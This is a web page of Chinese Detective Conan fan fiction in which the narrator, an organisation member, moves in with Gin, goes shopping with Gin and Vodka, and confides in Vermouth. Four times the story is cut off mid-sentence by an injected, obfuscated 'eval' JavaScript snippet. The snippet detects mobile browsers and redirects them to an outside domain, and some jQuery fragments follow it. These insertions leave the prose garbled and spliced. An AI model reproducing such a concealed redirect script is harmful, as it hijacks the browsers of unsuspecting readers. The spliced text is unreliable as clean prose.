而琴酒能够容忍我经常试探着对他动手动脚,也是没把我放在心上,不认为我有威胁,也知道我不敢对他真的有念头吧?
但是,我这不是前天喝多了,酒后吐真言,对他表白了嘛!
看来琴酒还是记得,虽然之后用开玩笑说要我负责的方式当做一切都没发生了,但是他还是在我搬来之后担心了。
他担心什么?担心我对他霸王硬上弓?还是担心我给他下药?给他灌醉了睡了?
我也得有那个胆子啊!没看我担心再次梦游,都双重把我自己关起来了吗?
我露出湿漉漉的狗狗眼,诚恳地跟琴酒说:“大哥,我跟你保证,我对你绝对……”
“不是因为这个。”琴酒却没让我继续表忠心下去,而是淡淡打断了我。
我茫然地张了张嘴:“啊咧?”
趁着我放松力气,琴酒用了巧劲就卸开了我对他胳膊的束缚,站起来,拍了一下我的脑袋说:“别多想,和你没关系。”
“可是你不是说在想为什么会让我搬进来吗?怎么可能会和我没关系?”我没忍住,站起来看着琴酒离开的背影,追问道。
琴酒没回头:“这是我的事情,和你无关。”
“啊?”
“你不需要知道太多。”琴酒顿了顿,在身影彻底离开前,再次开口,“不让你搬走,回去睡吧。”
这、这算什么?
男人心,海底针吗?
9. 第九章
22.
我搞不懂琴酒到底是什么意思,这实在是太难猜了,于是我失眠了。
没有加竟然,因为失眠早就在我的预料之内。
我是一个蛮认床的人,就算是之前在polestar阁楼的床也是睡了快一个月才适应,还要在床上翻来覆去很多次才能艰难入睡的程度。
搬到琴酒家的当天就睡了个好觉,估计是因为搬家运动量真的很大,躺在床上就着十分正常。
所以,本来就心里有事,再加上换了床,失眠也十分正常?
第二天,自然醒也面色很糟糕的我盯着镜子里的自己看了好久,缓慢地打了一个大哈欠。
只能说自主通宵和被迫通宵还是不一样,幸好今天不用上班,不然我还要化全妆遮黑眼圈。
根本见不了人嘛!
23.
“哇,英子,你怎么脸色这么差?”
……看吧,我就说见不了人,不仅见不了人,还能把人吓到。
我懒洋洋地抬起眼皮,有气无力地回答伏特加的话:“多简单,因为我没睡好啊。”
伏特加点点头:“有道理,那你为什么没睡好啊?我和大哥一夜没睡做任务都没你脸色这么差。”
脑子太过混沌,以至于只听到了伏特加前一句质问就无语的我没听清下一句话,本来想回答被琴酒大哥吓到了,但是架不住伏特加身后就是一脸平静看着我的琴酒大哥,我思考了一下,半真半假地说:“做了个噩梦,梦到大哥要把我扫地出门。”
“啊?那可真是噩梦。”伏特加感同身受地拍拍我的肩膀,又不知为何飞快松开。
我疑惑地看着他莫名其妙的动作:“怎么了?”
伏特加也很疑惑,想要回头,不知道为什么又没回头,摇摇头说:“没什么,英子你先吃饭,我和大哥给你带了便当回来。”
“这么好吗?感动了!大哥,你对我真好!”我努力从伏特加的遮挡下探出脑袋,熟练地在头顶给琴酒比了个心,“不过,怎么给我带便当了?你们今天没任务吗?”
“没有,不对,有。”伏特加想了想,问,“陪你逛街算任务吗?”
坐下的我一口水直接呛到:“咳咳咳咳咳咳!”
后背被有节奏地拍着,顺利度过差点呛死的难关,站在我身后的琴酒鄙夷地问:“你是智障吗?喝水都喝不好?”
“不是啦,我是震惊!”我咳嗽着拍着胸口,抬头去看琴酒,笑出脸颊两侧的梨涡,“没想到大哥还愿意陪我逛街诶!”
说着,我还把手放在额前,做出张望的姿态:“今天太阳是从哪边升起来的?我得去拜一拜,感谢上天让大哥更爱我了!”
“差不多得了。”琴酒拍掉我的手,随手拉开椅子坐在我旁边,“快点吃。”
我吃饭真的不快,但是,我不信有人能在被琴酒盯着的情况下慢点吃,所以我只能卡着吃太快被噎死的边缘飞快炫饭。
“我吃饱了。”
“还剩这么多。”
“我的饭量就只能到这里,再说了,大哥你这次买的便当不好吃,下次可以换一家吗?”我大着胆子问。
作为琴酒麾下第一小弟的伏特加超级认真地接话:“啊?可是我觉得很好吃啊。”
我牵了一下唇角,上下打量了一下伏特加的身材,微笑着说:“这就是你块头大的原因,真的很好养活。”
伏特加怒了:“我块头大怎么了?我衣服下面全是肌肉!”
我诧异地挑了一下眉梢:“真的假的?脱了看看实力。”
“我看你是真的没睡醒。”忍无可忍的琴酒先是用眼神瞪住了真的差点被我激将成功的伏特加,又大掌按住我的脑袋,“去换衣服。”
被教训的我和伏特加对视一眼,眼神中充满了对对方的责怪。
伏特加率先低头,把掀起来的衣服下摆掖回去。
我也不逞多让地乖巧懂事,一溜烟地跑回房间换衣服。
盯着脱下来的睡裙,我默默掏出手机,在购物清单里加上了带胸垫的睡衣这一大类。
24.
我搬过来那天琴酒就说让伏特加陪我去买熨斗,只是计划赶不上变化,他很忙,伏特加也很忙,突如其来的任务自然就打乱了计划。
不过,此时此刻,我只想感谢突如其来的任务。
不然,我怎么可能有幸被琴酒……和伏特加,陪着逛街呢?
有的人天生就命好,我是指我每次只要一进一家店,那家店就会来好多好多的客人。我以前还挺享受这种感觉的,毕竟这样的话我就可以自己逛,不用被所有店员跟着或者盯着。
但是,我来到了这个世界。
一方面,估计是黑衣组织成员的血脉对我还是有点影响,我本能地比较排斥人多的地方,也有赖于琴酒的培养,人一多,我就下意识开始规划至少三种的逃跑路线了。
嗯,对,在琴酒发现怎么锻炼我,我也支棱不起来之后,琴酒退而求其次,教我怎么样逃跑最快最安全,我也很给面子的这块学的最好。可恶,不要小看人和生命之间的羁绊啊!!!
另一方面嘛,就很朴素了,因为这里是柯学世界。尽管现在江户川柯南还没出现,东京还没有变成大哥谭,我还是看到人多就ptsd地想到什么爆.炸案之类的,很难不想跑。
对了,说起爆.炸案……
“你又在想什么?”琴酒叫回了神游天外的我。
“在感谢上天,让你们陪我逛街。”我笑嘻嘻地一挥手,“看,都没多少人,可以随便我们挑。”
琴酒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993456|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可止小儿夜啼不是开玩笑的,出来逛街都是,哪怕有人想要进来,都会在踏进店门之前望而却步。虽说这样对店家来说不是什么好事,但是对我来说是真的爽。
尤其是,有琴酒在,也没几个店员能大着胆子过来推销。
更爽了!
呜呜呜呜琴酒为什么不能一直陪我逛街!!!
我本可以忍受黑暗,直到我有幸让琴酒陪我逛街。
说起来,单独带伏特加会不会有一样的效果呢?单独带琴酒效果肯定也会这么好,我相信大哥没错……要不哪天来一个控制变量法?也不知道换做黑衣组织的其他人会怎么样。梅洛陪我逛过街,就没这种效果,莫非是要更黑暗一点的?择日不如撞日,不如明天拉宾加出来试试,趁他明天还在日本。
“蠢货。”琴酒哪里懂我的小心思,他看到的只有他的第一小妹又在犯蠢,“不然你还想让谁陪你一起逛街?”
说完,琴酒忽然停顿了一下,要不是我俩距离很近,近到我差点不小心踩到琴酒都不会发现,我也不会注意到。
当然,为了给琴酒面子,我自会装作没发现,还很明智地没有把宾加的名字说出口。
“嘻嘻,可是我真的很快乐呀!”对琴酒的“蠢货”攻击早已免疫,甚至可以m属性大爆发当成这是琴酒对我的爱称,我一点都没感觉被骂,反而挑东西挑得更加快乐。
我这个人呢,实际上是很有选择恐惧症的,为了挑一样东西的同款式相同颜色或者同颜色不同款式,我能在原地扔硬币扔个七八次都扔不出结果。嗯,毕竟都说扔硬币是扔出来的时候就知道心里的答案,可是我是心里真的没答案TT。
我的这个毛病,对我来说是困扰,对琴酒来说就是麻烦,浪费时间。
琴酒的解决方式也很简单粗暴,他直接夺过了我放在手里比较的粉色和绿色的漱口杯,扔给了后面拎篮子的伏特加。
“啊咧,大哥,要买两个漱口杯吗?可是我只有一张嘴诶!”我沉思了一下,又觉得不妙了,“都带回家的话,我还得思考每天用哪个漱口杯。”
琴酒不理我,意思就是这是我的事情少来烦他。
精通琴酒心理学的我抿了抿唇,小跑几步跟上他,又随口一说:“不过今天的消费肯定不需要我花钱。”
走过场啦,问这个问题就是走过场,有琴酒在,怎么可能会让我花钱呢?君不见,我连要还琴酒给我装修的钱,他都不乐意呢。
想到这里,我不由得星星眼:“大哥,你知道你很帅吗?尤其是你刷卡的样子,简直能帅得我原地乱蹦!”
按理说,琴酒这次应该也是不理我,但是,他却理我了。
他停下脚步,转过身,墨绿色的长眸落在我身上,意味不明地问:“还有其他人给你刷过卡?”
10. 第十章
25.
没有人能逃过琴酒的审讯,此刻,我终于明白了同事们偷偷议论的万一犯错被琴酒发现就完了的含金量。
跟动漫看到的时候隔着一个屏幕的感觉完全不一样,甚至我深知琴酒现在只是询问我,跟正儿八经的审讯绝对天壤之别,但我还是忍不住从脚底板一起凉到天灵盖。
也许之后会好吧,可是我现在也只是才适应身份不到一年的小废物,我真的经不住琴酒这个样子。
所以我想都没想地就实话实说:“梅洛给我刷卡买过衣服,这算吗?”
梅洛和我一样是被黑衣组织养大的组织二代,只是和我一出生就没了父母是彻彻底底的孤儿不同,她是和亲生父母生活了一段时间,因为亲生父母执行任务双双去世后才来到我所在的“孤儿院”的。所以啦,跟我在给自己起“开门英子”这个一点也不正经的名字之前只有数字代号不同,她有自己的真实名字上中凉子。
我以前也是叫她凉子的,只是我们两个交集并不多,她和我这么个废物不同,她上的课都很高端。我们两个是一起被分到polestar酒吧之后才熟起来的,我还想过邀请她上楼和我一起睡觉,但是我们两个都没那个胆子敢挑战琴酒,不过也没影响我跑到她家和她同床共枕补觉之类的。
美好的时光总是格外短暂,我和上中凉子一起共事了不到三个月,她就通过考核成为了代号成员,代号“梅洛”,据说这是她母亲之前的代号。哦,这也是宾加总觉得我能拿到代号的原因,毕竟梅洛的先例在前,还真有不少对我不了解或者太了解但充满滤镜的人以为我被分到酒吧只是黑衣组织对我的考验,我也能和梅洛一样拿到代号。
谁让我俩都是组织二代?可是明明区别很大嘛,她很厉害我很菜鸡,而且她是继承母亲的酒名,我都不知道我亲生父母是谁。没准我的亲生父母也没代号呢?不然我怎么连名字都没有,是用着代号长大的。这也很能解释为何我如此废物,遗传的力量嘛!
梅洛就不同了。据说一代梅洛就是很牛逼的狙击手,我们的梅洛也不逞多让。她之前在上课的时候就每次考核都是前二,还疯狂跳级的那种,我们之前都以为她能一成年就拿到代号,或者没成年就能拿到代号,跟雪莉一样。
也或许黑衣组织有自己的考量?反正结果就是优秀的凉子还是成为了梅洛。
琴酒还蛮赏识梅洛的,再加上琴酒手下都是狙击手,他原本是想让梅洛继续跟着他的。当然啦,梅洛也很愿意。别管琴酒在内在外的名声是怎么样的,要是真问起来愿不愿意在琴酒手下干活,哪怕是宾加这个琴酒深柜也会屁颠屁颠答应的。
这就是人格魅力!琴酒真的是个好上司,单看我怎么,不对,单看基安蒂怎么闯祸琴酒也能给她兜底就足够了。
只是黑衣组织还是有自己的考虑,梅洛在拿到代号的第三天就被派到了黑衣组织在意大利的分部。
我和梅洛的关系是真的不错,毕竟本纯颜狗真的对好看的人没有抵抗力。梅洛是真的好看,皮肤白皙还有天生的金灿灿的头发,跟我小时候最喜欢的洋娃娃没什么两样。更何况洋娃娃只是长得像洋娃娃,实际上非常能打,我们一起到酒吧的第一天,梅洛就一下过肩摔了喝多闹事的臭男人,极大的反差感和干脆利落的动作直接就给我帅迷糊了。
甚至可以说,梅洛是我在黑衣组织发展的第一个翅膀,比琴酒都靠前。
梅洛也很喜欢我啦,或者说不是我吹,黑衣组织里不喜欢我的人很少很少,有的也不是人。
但是梅洛喜欢得更邪乎一点,她对我也有滤镜,不同于贝尔摩德和宾加对我的滤镜,我对梅洛而言,是幸运物一样的存在。
梅洛说,见面第一天,我拉了她的手,琴酒就赏识她跟她说了话,还给她分配了工作。——实际上就算我不拉她,她刚到酒吧就展现了身手和胆量,琴酒让她负责酒吧安保也很正常。
我这么说,梅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993457|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洛也不信,她坚持认为是我给了她幸运。
梅洛说,她被我抱抱了之后,黑衣组织就给她下发代号考核任务。
梅洛还说,被我靠着睡了午觉,她就顺利打败了上课时考核分数总是比她高的竞争对手顺利拿到了代号。
一切都似乎太过巧合,但是梅洛都这么夸了,我自然也厚脸皮地认了,顺便还让她多爱我一点,到了意大利也不要忘了我,要时时刻刻把我放在心尖尖上。
梅洛是真信了,走之前拉着我逛街,给我买衣服,还给自己安排了同款,甚至还要我试穿一下她买的同款,还说什么带到意大利就不洗了,需要我了就找出来抱一抱,权当是抱我了——这真的多少有点神经质了,也许我们黑衣组织的人就是这么不太正常吧。
而且就算梅洛到了意大利,她也时不时就跟我视频,尤其是在她要干什么大事之前,都得通过视频让我祝她一切顺利,还要再发几遍语音,让她动手前听几遍“开光”之类的……呃,她甚至还洗了很多张我的照片,说要当护身符,像极了我洗琴酒的照片镇邪。
区别就是她拍我照片洗我照片都是光明正大,还想让我签名。而我用琴酒照片镇邪属于私下行为,被琴酒知道我就完蛋了。
总之,我和梅洛关系是真的好,这点琴酒也知道,她给我刷卡,我是真没有撒谎。
琴酒沉默了一下,我眨巴眼睛,抬头认真地看他:“可是,梅洛刷卡的样子,绝对没有琴酒帅哦!”
梅洛是女孩子,所以她刷卡是好看。
我用词可是一贯都很严谨滴!
琴酒冷哼一声:“说吧,还要买什么。”
看来这关是过了,果然,只要和琴酒说实话就好啦,大哥是真的好大哥!
虽说他生气起来有点莫名其妙?
我松了口气,继续挑东西,只是在摸上货架上的物品时,垂着的眼里还是不免划过了一丝深思。
琴酒,有点不对劲。
11. 第十一章
26.
我自认对琴酒还是有些了解的。
其实从一开始来说就不对劲,从醉酒那天开始就不对劲。
尽管我再怎么觉得丢脸,再怎么下意识遗忘,可是我也不得不承认,琴酒拒绝我十分对劲,非常正常,情理之中。
对,从他醒了之后对我开的第一句玩笑就开始不对劲。而且,我没有错过,他在把话说出口后眼里的怔忡,他其实没想过会这么对我说话。
如果说那句话可以理解成琴酒想要用打趣来让我遗忘前一天晚上发生的事——他也很了解我,知道我是个鸵鸟,很会逃避,要是揪着昨天晚上的事不放我绝对会因为丢脸而大崩溃,没准闯出什么祸。
但是之后也不对劲,无论是他原谅了我梦游到他床上,还是他提出让我搬过来。
还有后面的,尤其是因为我用了他的音响而说出的怀疑为什么要让我搬过来。
以及今天的两句话。
我这人确实很多时候脑子里缺根筋,但是我对有可能让我提前嗝屁的危险非常在意,自然的,我也很会看琴酒的微表情。
我没有错过,这几句不对劲的话说出来的时候,琴酒看上去都是没有经过思考,而且在说出口后,眼里飞快闪过的怔愣,还有过后的深思。
就像现在。
深思,还有一点点,懊悔?
是因为懊悔他在我面前说了不经思考的话,谨慎的琴酒也发现了不对劲吗?
我望着琴酒黑色风衣的背影,不自觉地叹了口气。
跟在我身后勤勤恳恳拎购物篮的伏特加好奇地探出脑袋:“英子,你不开心吗?”
“唉,我只是有个难题想不通。”我格外沉重地叹了口气。
“难题吗?”伏特加知难而退,“大哥,英子有难题要问你。”
琴酒本来也没走远,听到之后只是微微一挑眉,抬步走过来:“又怎么了?”
我仰起头,真诚地问:“为什么大哥会这么帅?我想不明白,真的,我的所有脑细胞加在一起,哪怕冥想一万亿年也无法参透为什么你这么帅的道理。大哥,你是造物主创造的皮格马利翁,你知道吗?就连神明也会为你倾倒!哦,大哥,你是黑夜也是黑夜里唯一一丝曙光,指引了我前进的方向。我亲爱的大哥,你是我活下去的动力,谢谢你,我命中注定的阿娜……大哥!”
琴酒面无表情:“看来你想自己刷卡了。”
“啊啊啊啊啊这种事情不要啊!”
“松开!”
我维持着抱住琴酒双腿的姿势,坚定摇头:“我不,要不然大哥你就把我这么一个崇拜你的小女孩踢死吧!你忍心吗?”
“我忍……”
“不,你不忍心!”
顶着店员时不时偷偷看过来的目光,琴酒忍无可忍:“三!”
没等“二”和“一”出现,我便老老实实站起来,顺便抚平了衣服上的褶皱,优雅一笑:“看我这笨的,居然还把大哥的玩笑话当真了。”
琴酒勾了一下唇角:“我有说是玩笑话?”
我马上一脸“天塌了”,顺便脑子里已经在想伏特加今天出门带没带卡了。
琴酒转身就走:“给你十分钟。”
我立刻换脸,欢快道:“马上!”
嘶,怎么凑近看,琴酒的帅气光芒略有暗淡,是陪我逛街逛烦了吗?我很有眼色地把十分钟缩短到了五分钟,在之后的购物过程中也忍痛从清单里划掉了所有可以之后再拉着人陪我补齐的东西。
27.
琴酒和伏特加还是好人的,没有让我一个弱女子拎购物袋回家。吭哧吭哧把所有东西都搬到我的房间的伏特加摘下墨镜开始疯狂喘气:“英子你每次都会买这么多东西吗?”
我心虚地挠了挠脸:“这不是选择恐惧症,大哥还大方嘛……buff加一起,就不小心,呃,买多了。”
伏特加还是吭哧吭哧。
我心虚地看东看西,看天看地就是不看他:“谁让你们不让人家送货上门的?我每次东西买多了都会选择送货上门的!”
琴酒懒得参与我和伏特加的日常互相埋怨,放下手里的最后一个购物袋,转身离开,在我下意识跟过来之前交代:“我去睡觉,别来烦我。”
我下意识定在原地,捂住嘴巴,小声对伏特加倒打一耙:“还说我,这才多少东西,你就累成这样。不过,大哥不至于累成这样吧?你是不是早上做任务的时候摸鱼把大哥累到了?”
伏特加跟我呆久了,也学会了翻白眼,同样小声埋怨我:“什么我摸鱼?不是跟你说过了吗?我和大哥熬夜去做任务了,大哥一晚上都没睡。”
我呆住:“啊?那你们还陪我去买东西?”
“不是答应过你要买东西吗?不然你又要天天说这个没有那个没有了。”伏特加也懒得继续跟我吵,打了个哈欠说,“那我也下去睡觉了,英子你晚上饿的时候给我打电话,别吵大哥。”
“你以为我是智障吗?”我同样以翻白眼回敬他,不过还是在他离开前稍稍放大了一点音量,“伏特加。”
伏特加站住,转身,想都没想就问:“你现在就饿了吗?我带你出去吃饭,再给大哥带点?”
“不是啦。”我叹了口气,很怀疑在伏特加心里我到底是什么形象,只会说饿的大馋丫头吗?
不过没关
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993458|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
系,我开门英子大人有大量,一码归一码。
我抬头看他,认认真真地看着他说:“谢谢哦。”
伏特加撇撇嘴:“什么嘛。”
哼哼,我可是看到了哦,无语吐槽的高壮男人再次转身的时候,从耳朵到后脖颈的暗红。
虽说我们黑衣组织的人都不是什么好人,但是其实有些时候,伏特加还挺可爱的。被说谢谢就害羞什么的,还有会就算一夜不睡也要陪我去大购物……如果忘掉他们一夜不睡有可能是因为杀人的话,哦,也有可能是蹲守,总之不会是什么好事。
但是他们不说是做什么,我自然也不会问,知道越少活得越久,这可是我在这里的生活感悟。
我回想了一下,好像伏特加一开始就说了他们熬夜做任务,就是我没睡醒,没听全。唉,果然纸片人和我这种普通人就是不一样,我一晚上没睡都要死了,琴酒和伏特加都还好好的!
越想越气,我愤怒地在空中打了一套拳,然后老老实实地收拾东西,一晚上都没敢去打扰我唯一的哥,生怕把他吵醒。
我很老实,琴酒就不是了,他还是很没素质地在晚上八点的时候直接推开了我的门。
幸好,我一直都没有果睡的习惯,不然我又得下意识讹琴酒对我负责,琴酒再酒后被我耍流氓的行为ptsd把我赶出去可怎么办?
我把翘起的二郎腿放下,一咕噜就从床上爬起来,跪坐好,想了想,不够恭敬,连忙从床上下来,跑到琴酒面前,乖巧抬头:“大哥醒啦?大哥有什么吩咐?”
“没饿?”
“吃了零食,不饿。”聪明如我,一下子就get到了琴酒的意思,眼睛亮晶晶地说,“大哥是不是饿了?要不要吃晚饭?”
“你做?”疑问句,不是反问,是质疑。
我嘿嘿一笑:“当然不是,伏特加准备的。”
琴酒一撇眼,冷嗤一声:“我就知道。”
说来也是惭愧,在拍琴酒马屁这一块,伏特加还真是无人能敌。
不过没关系,近水楼台先得月,伏特加只是领跑了我几年,但是现在,物理位置上离琴酒更近的是我!
等等,伏特加的卧室好像就是琴酒正楼下?楼板的距离是多少来着?
可恶,不能输给楼板啊开门英子!
琴酒无语地放下筷子:“你又在想什么?”
我老老实实回答:“在想楼板有多厚。”
琴酒:“?”
我认认真真地托腮问琴酒:“大哥你说,我要是搬床垫睡在你门口,是不是会比伏特加离你更近?”
琴酒深深地吸了一口气,认真问我:“你是猪吗?”
12. 第十二章
28.
就是吧,尽管我之后能睡好觉了——我将此称之为被琴酒骂舒服了,可是我还是想不通,琴酒为什么会这么不对劲。
弄明白这点对我真的很重要,我不想继续做噩梦梦到自己又要搬回酒吧的阁楼啦!
而且噩梦的原因和噩梦里出现的对象还是琴酒,这就说明我一直以来对抗噩梦所用的琴酒照片完全派不上用场,还有加重噩梦的嫌疑。
为了我的良好睡眠和未来的美好生活,搞明白琴酒不对劲的原因和让他对劲起来,接受让我住在他家里或者住在伏特加家里或者随便住在哪个有电梯的公寓里,真的十分重要!
估计是我的脑子真的不太好使,我想啊想,就连上班的时候都在想,甚至都开始扯刘海了——因为头发扎起来了,不然抓头发比较省力,不用抬胳膊哈。
总之,我怎么想也没想明白。
我鼓了鼓腮,拒绝了同事让我尝尝他新研制出来的酒的请求。
“为什么?因为上班我有五不做。首先,会做的我不做,学不到新东西我可不做。第二,不会做的我不做,告诉我,我都不会做我怎么做?第三,急的事情我不做,呵呵,急了我容易出错。第四,不急的事情我不做,不急用得着我做什么?第五,不想做的事情我不做,不想做我为什么要做?”
同事一愣:“那这个酒?”
“还不懂吗?不想做的事情我为什么要做?”我诧异地挑起眉梢,正视我面前这个刚来报道第二天的同事。
这么没有眼力见是怎么混进来的?
“这、这样吗?”男人尴尬地笑了两声,但还是依依不饶地笑着说,“这点面子都不给吗?我里面可没加东西。”
我微微眯了一下眼睛,意有所指地说:“我当然信你不会在里面加东西。”
“当、当然了。”男人话没说完,身边就突然多了两个人。
男人没能继续开口,目送着他被那两个人带到了后面,眼神在从隐秘角度才能看到的两边人抵在男人腰间的东西上划过,我无奈地动了动嘴唇。
怎么想的,动手动到我手上。
将一切都看在眼里,一点动作都没有的侍应生终于走到了我旁边,摇着头说:“这下知道为什么组织一定要安排人过来了吧?”
“社招的果然不行。”我耸耸肩,“看来不引人注意和自身安全无法兼得啊。”
其实还是我主动提出来从外面招人的。
Polestar酒吧的工作人员无一例外不是黑衣组织的人,一直都没有往外面贴过招聘广告。我还想过这样会不会太扎眼了,毕竟东京的警察应该也不是废物。酒吧再怎么对外营业,再怎么是黑衣组织的据点,估计也得怕被警方盯上。所以我特意跟琴酒他们提了好多次,要不要从外面假装找点人,不让他们接触组织机密,但是总得做做样子之类的。
我的想法很天真,我自己也知道,我不过就是还想测试一下,酒吧的存在有没有引起警方的注意。
如果引起了,那没准招进来的人里会有警方的卧底?
我的这两点小心思琴酒也知道,被我磨了快一个月,他算是默许了,只是不许我自己招人,招人的工作交给了其他人,估计是怕我见色起意,看到好看的就放进来。
好消息是招进来的没有好看的。
坏消息是招进来的不仅不好看,还都有问题。
这个最有问题,都敢对我下手了。
也不知道是东京这个地方就没什么好人,还是负责面试的人一点也不懂识人,就奔着别招警察去了,没考虑别的。
“他也真是饿了,连我都能下手。”我忍不住吐槽。
侍应生噗嗤一笑:“啊拉,小可爱可别这么说。你可是很招人喜欢,不然怎么会你一个眼神就有人过来?”
本来也就是一说,对自己自信心爆棚的我嘿嘿一笑:“谦虚谦虚嘛,而且就算没人过来,你也会保护我的呀~贝尔摩德,我好想你哦!”
我熟练地扑进贝尔摩德怀里,蹭了蹭被裹胸束缚住但蹭起来也很舒服的部位,笑得如同偷腥的猫。
呃,不对,本来就算得上是偷腥的猫?
贝尔摩德也熟练地揉着我的头:“怎么,在琴酒那里睡得不舒服?看你眼下涂了很多遮瑕。”
我一愣:“诶?卡粉了吗?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993459|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“当然没有,只是我能看出来而已。”搬到琴酒家第二天就被我发信息炫耀过的贝尔摩德若有所思,“看来我没说错,琴酒家里真的睡得不舒服?”
“唔,不是啦,只是有点想不明白的事情。”我撇撇嘴,又忍不住做梦,“不舒服的话可以去你家住吗?”
“我当然愿意让小可爱和我一起睡,就是怕有人会不开心。”贝尔摩德意有所指地一下一下摸着我的后脑勺,“有什么想不明白的,可以问问我哦。”
“也对,我确实不适合动脑。”我向来不会掩饰自己的无能,尤其是在黑衣组织的人面前。
“不是这个意思。”贝尔摩德噗嗤一笑,“嘛,只是我很愿意为小可爱答疑解惑。”
28.
犹豫了很久,我还是没有选择直接问贝尔摩德。
我可不是什么傻白甜,也明白黑衣组织的成员大多只是表面和谐。琴酒和贝尔摩德看上去关系不错,也不影响他们会看对方笑话,也包括了会给对方挖坑。毕竟黑衣组织的资源就那么多,作为头部成员的他们两个,自然也是有合作也有竞争。
我有些暗自猜测,或许琴酒不爽是因为,同意我搬进来只是黑衣组织的要求,可是他并不想?这样的话,就不能跟贝尔摩德说了。
可是,这又和琴酒的状态不太吻合,要是只是因为黑衣组织的要求,就无法解释后面的不对劲。这样的话,就更不能和贝尔摩德说了。
思来想去,我还是决定参考贝尔摩德的建议(?),直接A到了琴酒面前。
在琴酒面前真的无法有秘密的我咬着下唇,叫住了准备回房间的琴酒:“呐,大哥,你是不是被组织安排,才同意我搬进来啊?”
琴酒转回身,走到了我面前:“嗯?”
被琴酒的动作带得下意识往后退,直到推到墙上无处可退,我咽了下口水,嗓子都有些堵:“不是的话,大哥你为什么同意让我搬进来?你好像,你好像,不是很开心。”
琴酒盯着我,微弱的光下,仿佛蓄势而动的猎豹盯住垂死挣扎的猎物。
他冷笑一声:“你为什么会觉得,组织让我干什么,我就会干什么?”
13.第十三章
29.
琴酒这话,让我一下子梦回几天前,就是琴酒喝多了之后警告我的那三句话。
——“不要以为你可以强迫我。”
——“不要以为你可以诱惑到我。”
——“不要以为组织的所有命令我都要听。”
我当然记得,从鬼门关跑回来的体验,惜命如我自然不会忘记。
很多人眼中琴酒都是对黑衣组织,或者说是对BOSS言听计从绝对忠心。可是琴酒又不是狗,更不用说再忠心的狗也有违背主人命令的可能性?AI可是都会骗人呢,琴酒怎么样也是人。
呃,纸片人也是人?
我下意识继续往后退,但是因为本来就已经贴在墙上无路可退,身体本能地往后倾,后脑勺直接和墙亲密接触。
咣当一声,那叫一个脆生,一听就是好头。
我吃痛地“嗷呜”一声,右手捂住后脑勺,想了想,又直接双手抱头。
果然,我的直觉是对的,因为琴酒的手在我抱头的时候,精准无比地敲了上来。又因为我抱头及时,并没有敲到我聪明的大脑,只砸到了我的手背。
虽然也痛,但是好歹不会变笨,那就是好事!
琴酒的表情从冷意变成了无语,他眯起狭长的眼眸,在我放松警惕,放下手的时候,还是精准地命中我的脑门。
又是一声证明好头的动静,好在没有我自己撞墙疼,这说明琴酒还是心里有我。
“痛!”
“蠢货。”琴酒已然被我笨得没了脾气,他单手撑在我身旁,毫不客气地捏起我的下巴,迫使我抬头看他。
我的眼睛里已经挤出了小水汪,但无情琴酒对此视而不见,不对,也见了,是让我憋回去。
“不要装哭。”琴酒的大拇指摩挲着我的下巴,这触感实在是让人头皮发麻,尤其是他还垂眼盯着我上巴以下的位置——也就是他的大拇指摩挲着的那个范围的情况下。
总给我一种命不久矣的感觉。
我都不敢看他了,我就只敢努力往下看,看他的手指,时刻提防着他的手从我的下巴挪到我的脖子,好让我嘎巴一下死掉。
果然就不该听贝尔摩德的,我就不该问,这下好了,把本来就不高兴的琴酒惹生气了吧。
贝尔摩德,你会给我收尸吗?
盯着琴酒修长的手指思维发散,以至于我莫名其妙的就,呃,对眼了。
琴酒估计以前就觉得我是智障,没想到我搬过来,和我近距离接触之后,发现我更加智障了。他没有杀智障的兴趣,所以放了我一马,还手上微微用力,让我回神。
“又在想什么。”
我眼观鼻鼻观心:“在想我真的错了。”
琴酒微微挑眉,放开了我的下巴,饶有兴趣地问:“你错哪里了?”
说实话,要不是现在这个时间不对,这种对话真的给人一种,那什么吵架的感觉。
